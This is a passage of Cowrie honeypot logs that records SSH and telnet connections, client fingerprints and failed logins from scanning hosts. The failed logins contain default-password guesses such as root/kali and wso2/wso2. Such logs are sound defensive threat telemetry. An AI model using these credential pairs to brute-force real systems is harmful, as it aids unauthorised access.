a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:03.141769Z","src_ip":"176.65.132.254","session":"1b9427aad5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:04.019063Z","src_ip":"176.65.132.254","session":"1b9427aad5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:05.117758Z","src_ip":"176.65.132.254","session":"1b9427aad5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.494234323501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:06.053620Z","src_ip":"136.144.139.78","session":"21588412d2c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42340,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba1f6e5a5e4","protocol":"telnet","message":"New connection: 62.210.97.77:42340 (10.17.0.5:23) [session: 8ba1f6e5a5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:06.867377Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42348,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c8687aeeb2","protocol":"telnet","message":"New connection: 62.210.97.77:42348 (10.17.0.5:23) [session: 33c8687aeeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:06.928530Z"}
{"eventid":"cowrie.session.closed","duration":7.2734363079071045,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:06.957459Z","src_ip":"38.54.119.93","session":"e7d71238ab8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33248,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f83fd94ec1","protocol":"ssh","message":"New connection: 176.65.132.254:33248 (10.17.0.5:22) [session: 70f83fd94ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:07.660120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:07.665434Z","src_ip":"176.65.132.254","session":"70f83fd94ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:07.747747Z","src_ip":"176.65.132.254","session":"70f83fd94ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:08.025152Z","src_ip":"176.65.132.254","session":"70f83fd94ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":49582,"dst_ip":"10.17.0.5","dst_port":22,"session":"83cbe2dbe078","protocol":"ssh","message":"New connection: 190.129.122.12:49582 (10.17.0.5:22) [session: 83cbe2dbe078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:09.022767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:09.027893Z","src_ip":"190.129.122.12","session":"83cbe2dbe078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:09.113792Z","src_ip":"176.65.132.254","session":"70f83fd94ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:09.204705Z","src_ip":"190.129.122.12","session":"83cbe2dbe078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q1q1","message":"login attempt [ubuntu/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:09.940400Z","src_ip":"190.129.122.12","session":"83cbe2dbe078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.853272199630737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:10.735440Z","src_ip":"62.210.97.77","session":"2b8a4c87db74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:11.120018Z","src_ip":"190.129.122.12","session":"83cbe2dbe078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.684104919433594,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:11.607386Z","src_ip":"65.60.27.33","session":"d82798607266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89309287071228,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:11.798941Z","src_ip":"62.210.97.77","session":"88af5dc6e3f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39940,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ef4bf75608","protocol":"telnet","message":"New connection: 62.210.97.77:39940 (10.17.0.5:23) [session: e4ef4bf75608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.053466Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40908,"dst_ip":"10.17.0.5","dst_port":22,"session":"2beda4a2fb29","protocol":"ssh","message":"New connection: 176.65.132.254:40908 (10.17.0.5:22) [session: 2beda4a2fb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.079298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.084898Z","src_ip":"176.65.132.254","session":"2beda4a2fb29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.173500Z","src_ip":"176.65.132.254","session":"2beda4a2fb29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.445651Z","src_ip":"176.65.132.254","session":"2beda4a2fb29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13356637954712,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:12.554924Z","src_ip":"62.210.97.77","session":"93252f882eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.334991693496704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:13.376519Z","src_ip":"62.210.97.77","session":"00579019b00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85316276550293,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:13.392070Z","src_ip":"62.210.97.77","session":"12956bd09330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:13.546025Z","src_ip":"176.65.132.254","session":"2beda4a2fb29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85583519935608,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:14.837064Z","src_ip":"62.210.97.77","session":"42ab8b69eff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31437420845032,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:15.248494Z","src_ip":"62.210.97.77","session":"13124ddfc177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3813b1a51fe5","protocol":"telnet","message":"New connection: 62.210.97.77:39956 (10.17.0.5:23) [session: 3813b1a51fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:15.885765Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.137.226.52","src_port":29486,"dst_ip":"159.203.135.109","dst_port":23,"session":"920bacb64013","protocol":"telnet","message":"New connection: 143.137.226.52:29486 (159.203.135.109:23) [session: 920bacb64013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:16.164742Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40918,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3d1b099cd37","protocol":"ssh","message":"New connection: 176.65.132.254:40918 (10.17.0.5:22) [session: e3d1b099cd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:16.659032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:16.667573Z","src_ip":"176.65.132.254","session":"e3d1b099cd37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:16.755893Z","src_ip":"176.65.132.254","session":"e3d1b099cd37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:17.038997Z","src_ip":"176.65.132.254","session":"e3d1b099cd37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.819008588790894,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:17.172288Z","src_ip":"165.232.131.181","session":"5eb5252db73e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50290560722351,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:18.070045Z","src_ip":"62.210.97.77","session":"6d2f26a5fa15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:18.141192Z","src_ip":"176.65.132.254","session":"e3d1b099cd37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":37956,"dst_ip":"159.203.135.109","dst_port":22,"session":"2863468491da","protocol":"ssh","message":"New connection: 103.189.235.176:37956 (159.203.135.109:22) [session: 2863468491da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.048012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.053355Z","src_ip":"103.189.235.176","session":"2863468491da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.303349Z","src_ip":"103.189.235.176","session":"2863468491da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":44862,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc136a2c7569","protocol":"telnet","message":"New connection: 136.144.139.78:44862 (159.203.135.109:23) [session: bc136a2c7569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.330560Z"}
{"eventid":"cowrie.session.closed","duration":33.73102784156799,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.422159Z","src_ip":"62.210.97.77","session":"53d806262fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":44864,"dst_ip":"159.203.135.109","dst_port":23,"session":"55161c59864f","protocol":"telnet","message":"New connection: 136.144.139.78:44864 (159.203.135.109:23) [session: 55161c59864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:19.932013Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"test123","message":"login attempt [es/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:20.290627Z","src_ip":"103.189.235.176","session":"2863468491da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"403ce3beac7b","protocol":"telnet","message":"New connection: 134.209.8.29:38178 (159.203.135.109:23) [session: 403ce3beac7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:20.303494Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":44872,"dst_ip":"159.203.135.109","dst_port":23,"session":"850bb951b0d1","protocol":"telnet","message":"New connection: 136.144.139.78:44872 (159.203.135.109:23) [session: 850bb951b0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:20.911160Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40934,"dst_ip":"10.17.0.5","dst_port":22,"session":"43c049c2ada1","protocol":"ssh","message":"New connection: 176.65.132.254:40934 (10.17.0.5:22) [session: 43c049c2ada1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.047163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.053884Z","src_ip":"176.65.132.254","session":"43c049c2ada1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:20:21.140581Z","src_ip":"176.65.132.254","session":"43c049c2ada1","protocol":"ssh"}
